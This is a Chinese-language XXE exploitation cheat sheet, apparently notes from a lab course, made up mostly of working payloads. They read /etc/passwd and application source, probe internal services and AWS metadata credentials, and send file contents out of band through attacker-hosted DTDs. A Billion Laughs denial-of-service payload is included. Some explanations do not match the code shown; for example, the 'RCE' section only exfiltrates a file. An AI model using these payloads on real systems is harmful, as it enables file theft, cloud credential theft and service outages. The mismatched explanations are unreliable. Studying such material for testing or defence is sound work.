1. 發現點
聯繫表單(Contact Form) :使用者提交的訊息可能被XML解析
文件上傳功能 :應用允許上傳XML格式的文件,例如SVG、DOCX(ZIP包內含XML)
API請求(REST/SOAP) :部分API使用XML作為請求格式
SSO(單點登入) :某些SSO協議(如SAML)使用XML格式傳遞身份驗證數據
使用<!DOCTYPE>
定義實體來確認伺服器是否解析:
复制 <!DOCTYPE email [
<!ENTITY test "XXE Test">
]>
<email>
&test;
</email>
如果伺服器回應包含 XXE Test
,代表存在XXE漏洞 。
复制 POST /submitDetails.php HTTP/1.1
Host: 10.129.59.193
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 214
Origin: http://10.129.59.193
Connection: keep-alive
Referer: http://10.129.59.193/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
<root>
<name>hack</name>
<tel>4324324</tel>
<email>&company;</email>
<message>hackyou</message>
</root>
2. 測試Payload
🔹 讀取伺服器上的敏感文件
复制 <!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
<email>
&company;
</email>
目標 :讀取Linux系統的/etc/passwd
,如果成功,代表伺服器允許訪問本地文件系統。
應對方式 :如果無法回顯數據,嘗試php://filter/
進行Base64編碼讀取。
🔹 讀取應用程式代碼
复制 <!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<email>
&company;
</email>
目標 :以Base64格式讀取 index.php
,然後手動解碼,分析應用的後端邏輯。
🔹 進行內網探測
复制 <!DOCTYPE email [
<!ENTITY company SYSTEM "http://internal-service.local/admin">
]>
<email>
&company;
</email>
目標 :確認內網服務是否可訪問,進一步發動SSRF攻擊。
3. 不符合 XML 格式
⭐ 問題背景:
當目標網站會返回 XML 響應,但返回內容必須符合 XML 格式 時,如果我們直接插入外部實(例如檔案內容),裡面可能會有符號造成 XML 格式錯誤,這會導致回顯失敗。
解決方法 :
用 <![CDATA[ ]]>
包裹檔案內容,使其被當成「純文本」處理,這樣就不怕 XML 格式被破壞。
⭐ 繞過方法 1 — CDATA 包裝
在 DTD 文件中預先定義好:
复制 <!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
最後在 XML 裡調用 &joined;
,伺服器返回內容就會被包在 <![CDATA[ ]]>
裡。
⭐ 繞過方法 2 — Parameter Entities(參數實體)
它最大的用途:
你可以把 %xxe;
放在外部 DTD 文件 ,讓目標伺服器去你主機下載 .dtd
,然後讀取本地文件內容,最後連接成 XML 安全格式輸出。
⭐ 操作流程範例
✅ 1. 本地建立 xxe.dtd 檔案:
复制 echo '<!ENTITY joined "%begin;%file;%end;">' > XXE.dtd
注意最後一行等於告訴 XML「先引入 begin、file、end 三個實體,再合併成一個叫 joined」的最終實體。
✅ 2. 啟動 HTTP 伺服器讓目標伺服器來抓:
复制 python3 -m http.server 8000
此時伺服器在 http://你的IP:8000/xxe.dtd
提供下載。
✅ 3. 向目標提交 payload:
复制 <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://10.10.14.57:8000/XXE.dtd">
%xxe;
]>
<root>
<name>hack</name>
<tel>4324324</tel>
<email>&joined;</email>
<message>hackyou</message>
</root>
這時候目標伺服器會去你機器下載 xxe.dtd
,然後讀取 submitDetails.php
檔案並回顯。
結果會被包在 <![CDATA[ 文件內容 ]]>
裡面,避開 XML 格式限制。
4. 基於錯誤的XXE
⭐ 問題背景
但如果伺服器會顯示解析錯誤(error) ,
我們就可以透過「故意出錯」
把檔案內容注入錯誤訊息中回顯出來!
這就叫做 Error-based XXE 或 錯誤型 XXE 。
⭐ 利用條件:
但它會在 XML 格式錯誤時返回錯誤訊息(如 PHP Warning)。
我們可以透過設計 payload,
把本地檔案內容夾帶進錯誤訊息裡。
⭐ 攻擊思路:
我們故意參考一個不存在的實體 %nonExistingEntity;
。
同時把 file
實體拼接在錯誤內容中,
讓錯誤訊息中顯示「找不到實體」,
而這個「錯誤提示」會同時帶出我們指定的本地檔案內容。
⭐ 操作流程範例:
✅ 1️⃣ 建立本地 xxe.dtd
:
复制 <!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
解釋:
%file;
會包含 /etc/hosts
文件內容
%nonExistingEntity;
是刻意寫不存在的
伺服器在解析 %error;
時
→ 會「找不到 nonExistingEntity」並拋出錯誤
→ 錯誤訊息中會包含 %file;
的內容
✅ 2️⃣ 啟動 HTTP 伺服器供目標訪問:
复制 python3 -m http.server 8000
✅ 3️⃣ 傳送 Payload 給目標:
复制 <!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://你的IP:8000/xxe.dtd">
%remote;
%error;
]>
錯誤訊息中就會包含 /etc/hosts
檔案內容!
5. OOB 資料外洩
⭐ 問題背景
在部分目標系統中:
⭐ 利用條件:
目標不會顯示 XML 錯誤訊息(無錯誤型 XXE)。
伺服器允許向外發送 HTTP 請求或 DNS 請求。
⭐ 攻擊思路:
讓伺服器讀取本地檔案內容(例如 /etc/passwd
)。
將這些內容嵌入到一個 http://你的伺服器/?data=檔案內容
的請求中。
伺服器自動向我們的 HTTP server 發送請求。
在我們的 HTTP server 日誌裡就能看到檔案內容(Out-of-band 外洩成功)。
⭐ 操作流程範例:
✅ 1️⃣ 建立外部 DTD (xxe.dtd
)
复制 ─[us-academy-1]─[10.10.14.134]─[htb-ac413848@pwnbox-base]─[~]
└──╼ [★]$ cat > XXE.dtd << EOF
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/327a6c4304ad5938eaf0efb6cc3e53dc.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.14.134:8000/?content=%file;'>">
EOF
說明:
%file;
:從伺服器讀取 /etc/passwd
檔案內容
%exfil;
:定義 send
實體,讓伺服器用 HTTP 發送資料
✅ 2️⃣ 啟動本地 HTTP 伺服器:
复制 python3 -m http.server 8000
✅ 3️⃣ 發送 XXE Payload 給目標:
复制 <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://PWNIP:8000/XXE.dtd">
%remote;
%oob;
]>
<root>
&content;
</root>
✅ 4️⃣ 觀察結果
复制 GET /?data=root:x:0:0:root:/root:/bin/bash HTTP/1.1
data=
參數裡就是 /etc/passwd
內容。
6. 連鎖XXE漏洞
🔹 XXE + SSRF
若應用允許訪問內部服務,我們可以透過XXE進行SSRF攻擊 ,如請求AWS Metadata:
复制 <!DOCTYPE email [
<!ENTITY aws SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<email>
&aws;
</email>
如果成功,可能獲取雲端伺服器的憑據,進一步控制伺服器!
🔹 XXE + RCE(遠端代碼執行)
如果應用允許解析DTD,則可以透過內部Java類調用命令:
复制 <!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://你的伺服器/evil.dtd">
%remote;
]>
evil.dtd 內容:
复制 <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://你的伺服器/?data=%file;'>">
%eval;
%exfil;
這將會透過外部HTTP請求洩露 /etc/passwd
的內容 ,可進一步嘗試RCE。
🔹 XXE + DoS(拒絕服務攻擊)
Billion Laughs Attack
(遞歸炸彈)導致伺服器崩潰:
复制 <!DOCTYPE data [
<!ENTITY a0 "HAHA">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
]>
<data>
&a3;
</data>
6.Skills Assessment